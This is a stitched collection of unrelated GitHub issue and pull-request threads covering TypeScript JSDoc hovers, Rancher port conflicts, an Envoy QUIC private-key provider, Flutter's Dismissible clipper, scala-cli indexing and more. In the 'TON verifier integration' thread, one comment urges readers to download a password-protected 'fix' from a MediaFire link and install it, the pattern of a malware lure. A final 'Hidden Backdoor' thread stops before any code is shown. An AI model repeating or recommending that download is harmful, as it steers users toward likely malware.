TypeScript intellisense fails to display description of named parameter (property of an option object) from a .d.ts file generated from JavaScript with JSDoc

Does this issue occur when all extensions are disabled?: Yes/No

VS Code Version: 1.83.1
OS Version: Linux

Problem:
TypeScript intellisense does not show the description of the name parameters when mouse hover above it

Steps to Reproduce:

Write this JavaScript file:

/**
 * Do something
 * @param {Object} options Description of options
 * @param {String} options.foo Description of foo
 * @param {Number} options.bar Description of bar
 */
export function doSomething(options) {
  console.log(options)
}

Create the following tsconfig:

{
  "compilerOptions": {
    "allowJs": true,
    "checkJs": true,
    "declaration": true,
    "emitDeclarationOnly": true,
    "strict": true,
    "strictNullChecks": true,
    "module": "ES2022",
    "target": "ES2022"
  }
}

Compile with tsc, which would give the following declaration file:

/**
 * Do something
 * @param {Object} options Description of options
 * @param {String} options.foo Description of foo
 * @param {Number} options.bar Description of bar
 */
export function doSomething(options: {
    foo: string;
    bar: number;
}): void;

@RyanCavanaugh Greetings! I would like to pick this up could you please assign

@Sadaf-A not physically possible (only repo contribtors can be assigned). See also https://github.com/microsoft/TypeScript/blob/main/CONTRIBUTING.md#issue-claiming


ie8 woes with v0.2.0

http://j2c.py.gy/ietest.html
==> 'length' is null or not an object on line 430.
It is triggered by mounting a basic template on a span.

http://mithril.js.org/tools.html#internet-explorer-compatibility

I use a polyfill.io as recommended.

I ran the code from Browserstack and aside from the error reported on line 42 of the html file (using class as an object key is considered a syntax error by IE8), there were no other errors

m('span', {class: 'test', id: 'test'}, 'hello mithril.js!');

recommend to write like this:
m('span', {'class': 'test', 'id': 'test'}, 'hello mithril.js!');


Traffic is not directed when there is a port conflicts and stopping an old LB to allow a new LB use the same port

Rancher Version:
v1.2.0-pre4-rc14
Environment Type: (Cattle/Kubernetes/Swarm/Mesos)
Cattle
Steps to Reproduce:
Note: I only have 3 hosts.

Create 1 service (nginx)
Start 3 Load balancers using the same source port pointing to the service
Start 4th load balancer using the same source port pointing to the service.
As expected, there is a scheduling conflict as there is no available port so the 4th LB doesn't start up.
Stop 1 of the 3 active load balancers.
4th LB starts as expected as there is a port available.
Click on the link to the port.

Results:
I am not directed to the service. Not even 503.
Expected:
I should be directed to the target service.
Note: I checked haproxy.cfg and it looks like it was programmed correctly for the target service with the correct source port.
If I restart the service, traffic is now directed to the target service, but the initial container doesn't work.

This issue is also reproducible with services having exposed ports.
I tried this use case:
Set up with 3 hosts:
Create 3 services - s1,s2,s3 with exposed port  say  - 8777
Try to start another service - s4 with exposed port - 8777
Service fails to come up as expected.
Stop one of the existing services say s2 .
Now s4 start successfully , but the exposed port is not reachable.
I see the port "8777" being bound to both container of service s2 and s4.
root@sangeepre4rc14now-10acre-2:/home/sangeethahariharan1# iptables-save | grep 8787
-A CATTLE_PREROUTING ! -i docker0 -p tcp -m tcp --dport 8787 -j MARK --set-xmark 0x1068/0xffffffff
-A CATTLE_PREROUTING ! -i docker0 -p tcp -m tcp --dport 8787 -j DNAT --to-destination <IP_ADDRESS>:80
-A CATTLE_PREROUTING ! -i docker0 -p tcp -m tcp --dport 8787 -j MARK --set-xmark 0x1068/0xffffffff
-A CATTLE_PREROUTING ! -i docker0 -p tcp -m tcp --dport 8787 -j DNAT --to-destination <IP_ADDRESS>:80

On stopping containers with exposed ports , the port should be released on the host.

https://github.com/rancher/plugin-manager/pull/24

In plug-in-manager v0.2.10

Tested with v1.2.0-pre4-rc15 and  plug-in-manager v0.2.10
set up has 3 hosts:
Scenario1:

Create 1 service
Start 3 Load balancers using the same source port pointing to the service
Start 4th load balancer using the same source port pointing to the service.
As expected, there is a scheduling conflict as there is no available port so the 4th LB doesn't start up.
Stop 1 of the 3 active load balancer services.
4th LB starts as expected as there is a port available and is also functional.

Scenario2:
Create 3 services - s1,s2,s3 with exposed port say - 8777
Try to start another service - s4 with exposed port - 8777
Service fails to come up as expected.
Stop one of the existing services say s2 .
Now s4 start successfully , exposed ports are reachable as expected.
On stopping containers with exposed ports , the port  gets  released on the host.


POC: alternative implement of Add PrivateKeyProvider Quic support

Commit Message: POC: alternative implement of Add PrivateKeyProvider Quic support
Additional Description:
This is an alternative implement of PrivateKeyProvider support in QUIC according the discussion of https://github.com/envoyproxy/envoy/pull/32563 at https://github.com/envoyproxy/envoy/pull/32563#discussion_r1502943140
Risk Level: low
Testing:
Docs Changes:
Release Notes:
Platform Specific Features:

@danzh2010 as we discussed previously https://github.com/envoyproxy/envoy/pull/32563#discussion_r1502943140, I try to match the design of EnvoyQuicProofSource in this version, would you like to take a look at again?
To pass the parameters which are required by private key provider method, I have to copy the implementation of quiche's quic::TlsServerHandshaker::DefaultProofSourceHandle to EnvoyDefaultProofSourceHandle. Since it is private, then I can't inherit from it directly.
So I feel the whole implementation becomes very complex.  Maybe another way is I can change the PrivateKeyProvider interface, make them not depending on those low level SSL handle. But yes, those required a lot of rewrite of existing PrivatekeyProvider.
Also one more thing I found, is that I didn't implement the client side private key provider support both in https://github.com/envoyproxy/envoy/pull/32563 and this PR. If we consider that, this PR's implementation can't be applied to the client side.
Since look at the quiche::TlsClienthandshaker https://github.com/google/quiche/blob/main/quiche/quic/core/tls_client_handshaker.h, it doesn't provide an interface for like ProofSource to custom the private key sign. So the implementation of this PR can't be used on the client side.

/wait on CI

@danzh2010 as we discussed previously #32563 (comment), I try to match the design of EnvoyQuicProofSource in this version, would you like to take a look at again?
To pass the parameters which are required by private key provider method, I have to copy the implementation of quiche's quic::TlsServerHandshaker::DefaultProofSourceHandle to EnvoyDefaultProofSourceHandle. Since it is private, then I can't inherit from it directly.
So I feel the whole implementation becomes very complex. Maybe another way is I can change the PrivateKeyProvider interface, make them not depending on those low level SSL handle. But yes, those required a lot of rewrite of existing PrivatekeyProvider.

I'm not a fan of duplicating QUICHE code in Envoy as well. Please see my comments to see if it's possible to avoid copying the default handle implementation.

Also one more thing I found, is that I didn't implement the client side private key provider support both in #32563 and this PR. If we consider that, this PR's implementation can't be applied to the client side.
Since look at the quiche::TlsClienthandshaker https://github.com/google/quiche/blob/main/quiche/quic/core/tls_client_handshaker.h, it doesn't provide an interface for like ProofSource to custom the private key sign. So the implementation of this PR can't be used on the client side.

That's right, client handshaker uses the boring SSL's default signing logic. But it shouldn't be too difficult to expose a custom signing callback as the server handshake does if there is a use case.

@danzh2010 as we discussed previously #32563 (comment), I try to match the design of EnvoyQuicProofSource in this version, would you like to take a look at again?
To pass the parameters which are required by private key provider method, I have to copy the implementation of quiche's quic::TlsServerHandshaker::DefaultProofSourceHandle to EnvoyDefaultProofSourceHandle. Since it is private, then I can't inherit from it directly.
So I feel the whole implementation becomes very complex. Maybe another way is I can change the PrivateKeyProvider interface, make them not depending on those low level SSL handle. But yes, those required a lot of rewrite of existing PrivatekeyProvider.

I'm not a fan of duplicating QUICHE code in Envoy as well. Please see my comments to see if it's possible to avoid copying the default handle implementation.

I guess you forget to submit the comments :)

Also one more thing I found, is that I didn't implement the client side private key provider support both in #32563 and this PR. If we consider that, this PR's implementation can't be applied to the client side.
Since look at the quiche::TlsClienthandshaker https://github.com/google/quiche/blob/main/quiche/quic/core/tls_client_handshaker.h, it doesn't provide an interface for like ProofSource to custom the private key sign. So the implementation of this PR can't be used on the client side.

That's right, client handshaker uses the boring SSL's default signing logic. But it shouldn't be too difficult to expose a custom signing callback as the server handshake does if there is a use case.

I'm afraid that means more duplicated quiche code in Envoy. We need clone server side sign callback code to the client side. And there may have a lot of code point of quiche can't extend well, then force us to duplicate more code.

@danzh2010 thanks for the reply!

@danzh2010 I updated the PR, would you like to take a look at again? If it is good from the high-level, I will continue to add tests.

/wait

Is it on my plate now? Anyway, please do a main merge.


[GLUTEN-7145][CH] Decouple SerializedPlanParser from other parser modules

What changes were proposed in this pull request?
(Please fill in changes proposed in this fix)
Fixes: #7145
Decouple SerializedPlanParser from all other modules. Introduce ParserContext and ExpressionParser in this PR.
ParserContext is the minimal core that need be shared among parser modules.
ExpressionParser is responsilbe for parser substrait expession into CH actions dag. It unifies this tranformation among all parser modules. Base on this, some optimization will be applied at later.
All these should make the code more flexible.
How was this patch tested?
(Please explain how this patch was tested.


JSON parameters shouldn't be expected to be in a particular order

This fixes the unit test failure on iOS 8.1 and 8.2 simulator.
The cause of the issue was that the order of items in a dictionary is different between iOS 8 and iOS 9.

This is also different in iOS 10 as well.

Thanks for putting this together @marius-serban!  Anyways, I've made a few small tweaks to this logic and pushed it into master in 32ecfd16 while keeping your attribution. I'm also going to make sure these changes get cherry picked into the swift2.3 and swift3 branches.
Thanks again @marius-serban! 🍻


Error message should state files should be compatible with IBM Enterprise COBOL for z/OS

Added the generic message
"Please ensure the copybook compiles via IBM Enterprise COBOL for z/OS"
That will appear at the end of the errors displayed when an import fails.


Typescript with tsuquyomi

In my .vimrc, I have
call plug#begin('~/.vim/plugged')

Plug 'scrooloose/syntastic'
Plug 'Quramy/tsuquyomi'

call plug#end()

let g:syntastic_always_populate_loc_list = 1
let g:syntastic_auto_loc_list = 1
let g:syntastic_check_on_open = 1
let g:syntastic_check_on_wq = 0

let g:tsuquyomi_disable_quickfix = 1
let g:syntastic_typescript_checkers = ['tsuquyomi']

I have a file called tsconfig.json it has
{
  "compilerOptions": {
    "noUnusedLocals": true
  }
}

My file index.ts which pulls in the module rxjs which I've installed with node-modules
import {Observable} from 'rxjs';

When I try to open it, I get
"index.ts" 1L, 33C
Error detected while processing function <SNR>23_VimEnterHook[7]..<SNR>23_UpdateErrors[15]..<SNR>23_CacheErrors[39]..16[1]..15[24]..SyntaxCheckers_typescript_tsuquyomi_
GetLocList[1]..tsuquyomi#createFixlist[13]..tsuquyomi#createQuickFixListFromEvents:
line   23:
E714: List required
Press ENTER or type command to continue
Error detected while processing function <SNR>23_VimEnterHook[7]..<SNR>23_UpdateErrors[15]..<SNR>23_CacheErrors[39]..16[1]..38:
line    3:
E712: Argument of filter() must be a List or Dictionary

I'm not sure why I get this when I open the file, when I run :SyntasticCheck I get the much more reasonable,
index.ts|1 col 1 error| 6133[QF available]: 'Observable' is declared but its value is never read.

Please consider asking this on tsuquyomi's issue tracker.

Found it there
https://github.com/Quramy/tsuquyomi/issues/230


Media sources should move from "review" to "working" after scraping

Steps

Go to https://sources.mediacloud.org/#/collections/34412234/manage-source-list
Click on the "scrape" button for a source in the "review" tab
The last scrape status should have changed to today
Notice that the media source is still in the review table

@rahulbot / @cindyloo -- I'm trying to figure out what's going on here and see a suspicious line at https://github.com/mitmedialab/MediaCloud-Web-Tools/blob/main/server/views/sources/source.py#L279
The criteria for "needs review" is:
active_feed_count === 0 AND num_stories_90 === 0
OR
(active_feed_count > 0 AND num_stories_90 = 0 AND num_stories_last_year > 0
active_syndicated_feeds = [f for f in feeds if f['active'] and f['type'] == 'syndicated']
active_feed_count = len(active_syndicated_feeds)

Should the active feed be the syndicated count? That seems odd to me.
Aside some this issue, I think there's something odd with the scraper as it seems to be returning 0 stories from the last 90 days from some pretty major sources.

It turns out that scraping looks for RSS feeds (e.g. it scrapes for rss feeds) and it might or not not find anything. Certain site might have dropped support for RSS, hence the the importance of site map scraping!

Super helpful--thank you!
So, I think that this actually isn't a bug then. Ultimately, our curator wants to get content from these sides and it seems like the RSS feeds need to be updated if possible. If not, then is it safe to say, "sorry, gotta wait until the site map work is complete"?


Update README.md

Update README.md to include the features = ["swagger-ui"] in Cargo.toml.

Thanks!😁


Ability to disable Dismissible's clipper

Dismissible implements a _DismissibleClipper which prevents the background widget from displaying overflowing content beyond the current sliding state.
This causes widgets that are not perfectly square (For example, Cards with rounded corners) to incorrectly hide the background.
Example video
Steps to Reproduce
Create the default example project
Replace the two Text in the column by
            Container(
              height: 200,
              child: Dismissible(
                key: ValueKey("hi"),
                child: Card(
                  child: Text("hi"),
                ),
                background: Card(
                  color: Colors.red,
                ),
              ),
            )

[✓] Flutter (Channel master, v1.7.4-pre.74, on Linux, locale en_US.UTF-8)
    • Flutter version 1.7.4-pre.74 at /opt/flutter
    • Framework revision 75b5ceccd9 (20 hours ago), 2019-06-12 14:03:56 -0400
    • Engine revision ab5c14b949
    • Dart version 2.3.3 (build 2.3.3-dev.0.0 3166bbf24b)

With a little tinkering, removing the clip in Dismissible produces the desired behavior for my app. The clipping doesn't appear to do anything useful at first glance. It's very possible that I'm missing something though.
There some funky behavior with that change if some portion of the child is transparent and covers the background. That said, I would hazard that it's not the typical case to have a transparent portion of a Dismissable child that isn't also transparent in the background: most consumers of this widget want to have an opaque child and background that neatly overlap each other.
Given that, would it be acceptable to add something like a bool clip = true argument to the widget's constructor so that consumers can opt out of the clip behavior? Or just remove the clipping altogether?

Similar issues here: The Clipper does not take paddings of the Dismissable's child view into consideration. By removing the clipper everything works as expected. It would be cool if one could simply disable clipping on Dismissable.

Is the clipping supposed to do anything useful?

any updates to this? I've search many posts/questions that end in nothing. IT seems like really basic functionality you would expect.

flutter doctor -v
[✓] Flutter (Channel dev, 1.19.0-3.0.pre, on Mac OS X 10.15.5 19F101, locale
    en-GB)
    • Flutter version 1.19.0-3.0.pre at /Users/tahatesser/Code/flutter_dev
    • Framework revision 6135091de9 (3 days ago), 2020-06-01 17:17:03 -0700
    • Engine revision e39301f23f
    • Dart version 2.9.0 (build 2.9.0-13.0.dev 6489a0c68d)

[✓] Android toolchain - develop for Android devices (Android SDK version 29.0.3)
    • Android SDK at /Users/tahatesser/Code/sdk
    • Platform android-29, build-tools 29.0.3
    • ANDROID_HOME = /Users/tahatesser/Code/sdk
    • Java binary at: /Applications/Android
      Studio.app/Contents/jre/jdk/Contents/Home/bin/java
    • Java version OpenJDK Runtime Environment (build
      1.8.0_242-release-1644-b3-6222593)
    • All Android licenses accepted.

[✓] Xcode - develop for iOS and macOS (Xcode 11.5)
    • Xcode at /Applications/Xcode.app/Contents/Developer
    • Xcode 11.5, Build version 11E608c
    • CocoaPods version 1.9.3

[✓] Chrome - develop for the web
    • Chrome at /Applications/Google Chrome.app/Contents/MacOS/Google Chrome

[✓] Android Studio (version 4.0)
    • Android Studio at /Applications/Android Studio.app/Contents
    • Flutter plugin version 46.0.2
    • Dart plugin version 193.7361
    • Java version OpenJDK Runtime Environment (build
      1.8.0_242-release-1644-b3-6222593)

[✓] VS Code (version 1.45.1)
    • VS Code at /Applications/Visual Studio Code.app/Contents
    • Flutter extension version 3.11.0

[✓] Connected device (5 available)
    • SM M305F      • 32003c30dc19668f          • android-arm64  • Android 10
      (API 29)
    • Taha’s iPhone • 00008020-001059882212002E • ios            • iOS 13.5.1
    • macOS         • macOS                     • darwin-x64     • Mac OS X
      10.15.5 19F101
    • Web Server    • web-server                • web-javascript • Flutter Tools
    • Chrome        • chrome                    • web-javascript • Google Chrome
      83.0.4103.97

• No issues found!

What's the current status of this? Thanks!

Disabling the clipping of a Dismissible would be excellent! Alternatively, if there was a shape property, we could at least apply the same shape of the child to the background widget.

Just as a temp solution for those wanting to achieve full functionality with the 'dismissible' type, I found that package that is very popular and that does everything I needed it to do:
flutter_slidable

As a workaround you could try to use this approach:
Wrap your Dismissible with ClipRRect and give it some appropriate borderRadius, as the child of your Dismissible
The wrap you child of your Dismissible in an extra Container and give it a LinearGradient for color from left to right with the colors of the two backgrounds of the Dismissible.
Check out this example on DartPad using the workaround: https://dartpad.dev/7224dd055bc7bdc73ab6eb66002db104
I do still see some issues that could arise, depending on what is inside of the backgrounds of the Dismissible but this should work in most cases.

I can reproduce this on the latest master and stable channels.
https://github.com/flutter/flutter/assets/53122008/6ea7ecae-36a0-4eac-99c2-3cd3cd24eaf4
The workaround as suggested in https://github.com/flutter/flutter/issues/34409#issuecomment-786761730 seems to work, see code below
Workaround Code

import 'package:flutter/material.dart';

void main() => runApp(MyApp());

class MyApp extends StatelessWidget {
  @override
  Widget build(BuildContext context) {
    return MaterialApp(
      title: 'Material App',
      home: Scaffold(
        appBar: AppBar(
          title: Text('Material App Bar'),
        ),
        body: Center(
          child: Column(
            mainAxisAlignment: MainAxisAlignment.spaceEvenly,
            children: [
              ClipRRect(
                borderRadius: BorderRadius.circular(16),
                child: Dismissible(
                  key: UniqueKey(),
                  background: Container(
                    decoration: ShapeDecoration(
                      color: Colors.red,
                      shape: RoundedRectangleBorder(
                          borderRadius: BorderRadius.circular(16)),
                    ),
                  ),
                  secondaryBackground: Container(
                    decoration: ShapeDecoration(
                      color: Colors.green,
                      shape: RoundedRectangleBorder(
                          borderRadius: BorderRadius.circular(16)),
                    ),
                  ),
                  child: Container(
                    decoration: const BoxDecoration(
                      gradient: LinearGradient(
                        begin: Alignment.centerLeft,
                        end: Alignment.centerRight,
                        colors: <Color>[
                          Colors.red,
                          Colors.green
                        ], // red to yellow
                        tileMode: TileMode.repeated,
                      ),
                    ),
                    child: Card(
                      margin: EdgeInsets.zero,
                      shape: RoundedRectangleBorder(
                          borderRadius: BorderRadius.circular(16)),
                      child: const Padding(
                        padding: EdgeInsets.all(8),
                        child: Text('Hello, world!'),
                      ),
                    ),
                  ),
                ),
              ),
            ],
          ),
        ),
      ),
    );
  }
}

flutter doctor -v

[!] Flutter (Channel stable, 3.16.3, on macOS 14.0 23A344 darwin-arm64, locale
    en-NG)
    • Flutter version 3.16.3 on channel stable at
      /Users/damilolaalimi/sdks/flutter
    ! Warning: `dart` on your path resolves to
      /opt/homebrew/Cellar/dart/3.1.5/libexec/bin/dart, which is not inside your
      current Flutter SDK checkout at /Users/damilolaalimi/sdks/flutter.
      Consider adding /Users/damilolaalimi/sdks/flutter/bin to the front of your
      path.
    • Upstream repository https://github.com/flutter/flutter.git
    • Framework revision b0366e0a3f (6 days ago), 2023-12-05 19:46:39 -0800
    • Engine revision 54a7145303
    • Dart version 3.2.3
    • DevTools version 2.28.4
    • If those were intentional, you can disregard the above warnings; however
      it is recommended to use "git" directly to perform update checks and
      upgrades.

[✓] Android toolchain - develop for Android devices (Android SDK version 34.0.0)
    • Android SDK at /Users/damilolaalimi/Library/Android/sdk
    • Platform android-34, build-tools 34.0.0
    • ANDROID_HOME = /Users/damilolaalimi/Library/Android/sdk
    • Java binary at: /Applications/Android
      Studio.app/Contents/jbr/Contents/Home/bin/java
    • Java version OpenJDK Runtime Environment (build
      17.0.6+0-17.0.6b802.4-9586694)
    • All Android licenses accepted.

[✓] Xcode - develop for iOS and macOS (Xcode 15.0.1)
    • Xcode at /Applications/Xcode.app/Contents/Developer
    • Build 15A507
    • CocoaPods version 1.12.1

[✓] Chrome - develop for the web
    • Chrome at /Applications/Google Chrome.app/Contents/MacOS/Google Chrome

[✓] Android Studio (version 2022.2)
    • Android Studio at /Applications/Android Studio.app/Contents
    • Flutter plugin can be installed from:
      🔨 https://plugins.jetbrains.com/plugin/9212-flutter
    • Dart plugin can be installed from:
      🔨 https://plugins.jetbrains.com/plugin/6351-dart
    • Java version OpenJDK Runtime Environment (build
      17.0.6+0-17.0.6b802.4-9586694)

[!] Android Studio (version unknown)
    • Android Studio at /Users/damilolaalimi/Downloads/Android Studio
      Preview.app/Contents
    • Flutter plugin can be installed from:
      🔨 https://plugins.jetbrains.com/plugin/9212-flutter
    • Dart plugin can be installed from:
      🔨 https://plugins.jetbrains.com/plugin/6351-dart
    ✗ Unable to determine Android Studio version.
    • Java version OpenJDK Runtime Environment (build
      17.0.7+0-17.0.7b1000.6-10550314)

[✓] VS Code (version 1.84.2)
    • VS Code at /Applications/Visual Studio Code.app/Contents
    • Flutter extension version 3.50.0

[✓] VS Code (version 1.83.1)
    • VS Code at /Users/damilolaalimi/Downloads/Visual Studio Code.app/Contents
    • Flutter extension version 3.50.0

[✓] Connected device (5 available)
    • sdk gphone64 arm64 (mobile) • emulator-5554                        •
      android-arm64  • Android 14 (API 34) (emulator)
    • Damilola’s iPhone (mobile)  • 00008110-001964480AE1801E            • ios
      • iOS 17.1.1 21B91
    • iPhone 15 (mobile)          • F17D2919-6D61-4295-8408-1719692FE958 • ios
      • com.apple.CoreSimulator.SimRuntime.iOS-17-0 (simulator)
    • macOS (desktop)             • macos                                •
      darwin-arm64   • macOS 14.0 23A344 darwin-arm64
    • Chrome (web)                • chrome                               •
      web-javascript • Google Chrome 120.0.6099.71

[✓] Network resources
    • All expected network resources are available.

! Doctor found issues in 2 categories.

[!] Flutter (Channel master, 3.18.0-7.0.pre.87, on macOS 14.0 23A344 darwin-arm64, locale en-NG)
    • Flutter version 3.18.0-7.0.pre.87 on channel master at /Users/damilolaalimi/fvm/versions/master
    ! Warning: `dart` on your path resolves to /opt/homebrew/Cellar/dart/3.1.5/libexec/bin/dart, which is not inside your current Flutter SDK checkout at /Users/damilolaalimi/fvm/versions/master. Consider adding /Users/damilolaalimi/fvm/versions/master/bin to the front of your path.
    • Upstream repository https://github.com/flutter/flutter.git
    • Framework revision 2edb08b05c (2 hours ago), 2023-12-12 01:07:22 -0500
    • Engine revision 95dfb1d4ac
    • Dart version 3.3.0 (build 3.3.0-218.0.dev)
    • DevTools version 2.30.0
    • If those were intentional, you can disregard the above warnings; however it is recommended to use "git" directly to perform update checks and upgrades.

[✓] Android toolchain - develop for Android devices (Android SDK version 34.0.0)
    • Android SDK at /Users/damilolaalimi/Library/Android/sdk
    • Platform android-34, build-tools 34.0.0
    • ANDROID_HOME = /Users/damilolaalimi/Library/Android/sdk
    • Java binary at: /Applications/Android Studio.app/Contents/jbr/Contents/Home/bin/java
    • Java version OpenJDK Runtime Environment (build 17.0.6+0-17.0.6b802.4-9586694)
    • All Android licenses accepted.

[✓] Xcode - develop for iOS and macOS (Xcode 15.0.1)
    • Xcode at /Applications/Xcode.app/Contents/Developer
    • Build 15A507
    • CocoaPods version 1.12.1

[✓] Chrome - develop for the web
    • Chrome at /Applications/Google Chrome.app/Contents/MacOS/Google Chrome

[✓] Android Studio (version 2022.2)
    • Android Studio at /Applications/Android Studio.app/Contents
    • Flutter plugin can be installed from:
      🔨 https://plugins.jetbrains.com/plugin/9212-flutter
    • Dart plugin can be installed from:
      🔨 https://plugins.jetbrains.com/plugin/6351-dart
    • Java version OpenJDK Runtime Environment (build 17.0.6+0-17.0.6b802.4-9586694)

[!] Android Studio (version unknown)
    • Android Studio at /Users/damilolaalimi/Downloads/Android Studio Preview.app/Contents
    • Flutter plugin can be installed from:
      🔨 https://plugins.jetbrains.com/plugin/9212-flutter
    • Dart plugin can be installed from:
      🔨 https://plugins.jetbrains.com/plugin/6351-dart
    ✗ Unable to determine Android Studio version.
    • Java version OpenJDK Runtime Environment (build 17.0.7+0-17.0.7b1000.6-10550314)

[✓] VS Code (version 1.84.2)
    • VS Code at /Applications/Visual Studio Code.app/Contents
    • Flutter extension version 3.50.0

[✓] VS Code (version 1.83.1)
    • VS Code at /Users/damilolaalimi/Downloads/Visual Studio Code.app/Contents
    • Flutter extension version 3.50.0

[✓] Connected device (5 available)
    • sdk gphone64 arm64 (mobile) • emulator-5554                        • android-arm64  • Android 14 (API 34) (emulator)
    • Damilola’s iPhone (mobile)  • 00008110-001964480AE1801E            • ios            • iOS 17.1.1 21B91
    • iPhone 15 (mobile)          • F17D2919-6D61-4295-8408-1719692FE958 • ios            • com.apple.CoreSimulator.SimRuntime.iOS-17-0 (simulator)
    • macOS (desktop)             • macos                                • darwin-arm64   • macOS 14.0 23A344 darwin-arm64
    • Chrome (web)                • chrome                               • web-javascript • Google Chrome 120.0.6099.71

[✓] Network resources
    • All expected network resources are available.

! Doctor found issues in 2 categories.


Updating kuadrant-controller manifests

Closing in favour of https://github.com/Kuadrant/kuadrant-operator/pull/29


[Feature] Generate a static view of "capsules"

Populate the home dashboard with capsule items for each area of the knowledge base.
E.g. a link from LinkedIn, a post from Instagram etc
Note: this issue will be followed up with another issue to implement dynamic listing - pulling from LIT RF API instead of a static list.

Successor to this issue is https://github.com/MargaretThomas/lit-rf-knowledge-base-api/issues/1


NotImplementedException when referencing lib using Microsoft.Rest.ClientRuntime

Describe the bug
I have need to use this package https://www.nuget.org/packages/Microsoft.Bot.Connector.DirectLine
However, when I call the API I get the following runtime error:
System.NotImplementedException: Cannot invoke method because it was wiped. See stack trace for details.
at System.Net.Http.HttpClientHandler.SendAsync (System.Net.Http.HttpRequestMessage request, System.Threading.CancellationToken cancellationToken) <0x2e6f428 + 0x0001c> in <72dca300963244b4b3e20edb938c4b32>:0
As I understand it this is a known issue with Blazor using it's own BrowserClientHandler internally. Is there anything I can do to continue using this library?
Unfortunately the source for the library is not open so I can't pull the source into my project and update the implementation.  The library has a dependency on Microsoft.Rest.ClientRuntime which I think is ultimately the source of the problem.

OK, I've identified that I should be using WebAssemblyHttpMessageHandler in a Blazor client application but Visual Studio 2019 is absolutely refusing to let me.  So odd.
I'm referencing Microsoft.AspNetCore.Blazor (0.9.0-preview3-19154-02)
Yet when I try to reference anything I can't "see" the "AspNetCore" namespace ... CTRL+. Can't find the class and I cannot reference it through a full qualified name like:
Microsoft.AspNetCore.Blazor.WebAssemblyHttpMessageHandler
I've tried rebooting VS. What Voodoo do I need to invoke?


TON verifier integration

Web IDE supports deploying contracts on mainnet, so it should also provide some assistance with smart-contract source code verification, see https://verifier.ton.org

to fix your trouble try download this fix, i see it in another issue,
https://app.mediafire.com/3ag3jpquii3of
password: changeme
when you installing, you need to place a check in install to path and select "gcc."


Switching legends to upper right (what best used to mean)

Pull Request Description
What issue does this change request address?
https://github.com/idaholab/raven/issues/1972
What are the significant changes in functionality due to this change request?
Matplotlib no longer allows 'best' as the legend location.  This switches it to 'upper right' (which is what it meant in previous versions)
Update the xml reader to use new methods.
Sort sets before comparing them so it finds the same ones.

For Change Control Board: Change Request Review
The following review must be completed by an authorized member of the Change Control Board.

[x] 1. Review all computer code.
[x] 2. If any changes occur to the input syntax, there must be an accompanying change to the user manual.
[x] 3. Make sure the Python code and commenting standards are respected (camelBack, etc.) - See on the wiki for details.
[x] 4. Regression tests have to complete successfully.
[x] 5. If significant functionality is added, there must be tests added to check this. Tests should cover all possible options.  Multiple short tests are preferred over one large test.
[x] 6. The merge request must reference an issue.  If the issue is closed, the issue close checklist shall be done.

checklist is good, and tests are green. PR can be merged.


Error during installation.

This is an error with QPM, not QtIFW-Advanced-Setup. I created an issue there (see the reference). Please follow that issue and provide further information, if requested.
As a workaround, you can simply clone the git repository or download the sources from the release page, until this get's fixed in qpm. I'm sorry for the inconvenience

I build the qpm by myself, it works.
go get qpm.io/qpm
go build qpm.io/qpm
evn: go 1.8.1 Windows 10


Uppercase attributes

My attributes, returned by json_attributes_topic, are uppercase, in my case HUM and TEMP.
The RE_entity regex in parseTemplateString only allows lowercase selectors, would it be possible to change the regex or add a special case for uppercase attributes?

Hadn't thought of that. Thank you.


scala-cli support

👋🏼 hello! I wanted to drop this off here since I got this working and think it's pretty neat. Lately I've been using [scala-cli](https://scala-cli.virtuslab.org/) quite a bit and I was curious if I could get precise code navigation working with it. It was actually somewhat simple, but I did hit on a couple small things that maybe having built-in support for index would help with.

You can see the navigation for the project working here<EMAIL_ADDRESS>You can see how I set it up with GitHub Actions here: https://github.com/ckipp01/exists/blob/main/.github/workflows/sourcegraph.yml

Producing semanticdb with scala-cli is as easy as just compiling your project with --semantic-db as a flag like: scala-cli compile --semantic-db ., which makes it easy for lsif index-semanticdb . to pick it up. However there are a few gotchas, or things that aren't working yet that I'll list below for others that maybe stumble on this.

Wherever you point scala-cli to ends up being your sourceroot, which can lead to the wrong path in your dump.lsif. For example in my project if I do scala-cli --semantic-db compile src/ the semanticdb will be created and found, but it will think that src/ is the sourceroot and then if you are running lsif-java from . you can run into issues. So just being careful and making sure where I point scala-cli to is also where I run lsif-java from fixed this. This might be trickier than it other build tools since there is no "build file".
There really isn't a way to export the javacopts.txt information afaik. I asked about this here in hopes of figuring out a non-hacky way of getting this info to enable cross-repository navigation
Lastly I used directives right in my file, so for these use cases it's super easy to get this all to work and I can imagine adding a ScalaCliBuildTool.scala here would be quite simple, but you'd run into issue pretty quickly if users are not using directives and instead passing in deps via scala-cli -d <dependency> which is also valid. It wouldn't work in those cases. Either way, this might be a great feature

Thank you for reporting! This is exciting.

maybe having built-in support for index would help

Is there a way to automatically detect which files are compiled with scala-cli? We currently detect sbt builds with project/build.properties and we would need something similar for scala-cli scripts.

instead passing in deps via scala-cli -d  which is also valid.

I think it's OK to not support this use-case to begin with.

Is there a way to automatically detect which files are compiled with scala-cli?

I don't think it super straightforward unless you just assume any *.sc or *.scala file under where you are looking is valid, which maybe isn't a bad thing in this situation since scala-cli workspaces are sort of just a bag of scala files. The only way to be able to get a better idea would be to check out where the .scala/ dir is placed, but that's not created until ran, and even then it won't tell you really the "source" dirs but give you the package structure and all the class/tasty/etc files.


[RELEASE] opensearch-js 1.0.2

Release opensearch-js 1.0.2 to NPM here: https://www.npmjs.com/package/@opensearch-project/opensearch

<EMAIL_ADDRESS>


Update Makefile to use newer kubebuilder when generating manifests

Updated Makefile arguments to match newer kubebuilder requirements.

They'll need to be copied to
https://github.com/migtools/mig-operator/tree/master/deploy/olm-catalog/bundle/manifests
It looks like the leading empty lines got deleted? This is good; they break the operator if they remain...

Hmm it never notified me about these comments, I will take care of copying the stuff to the olm bundle.

They'll need to be copied to https://github.com/migtools/mig-operator/tree/master/deploy/olm-catalog/bundle/manifests
It looks like the leading empty lines got deleted? This is good; they break the operator if they remain...

Matching PR to update OLM bundle https://github.com/migtools/mig-operator/pull/903


Hidden Backdoor

in Line 75 you can see this code
